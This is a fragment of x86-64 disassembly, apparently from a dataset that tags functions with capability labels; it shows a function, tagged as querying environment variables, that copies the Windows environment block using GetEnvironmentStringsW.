mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140153950
nop
cmp dword [rbp + 0x20], 0
je 0x140153b11
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140153b1c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140153a54
Function at 0x1401657b0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140165837
mov rsi, rbx
cmp word [rax], bp
je 0x1401657f6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1401657e0
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1401657dc
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140160e1c
mov rdi, rax
test rax, rax
je 0x140165824
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14016b470
mov rbp, rdi
xor ecx, ecx
call fcn.140161964
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret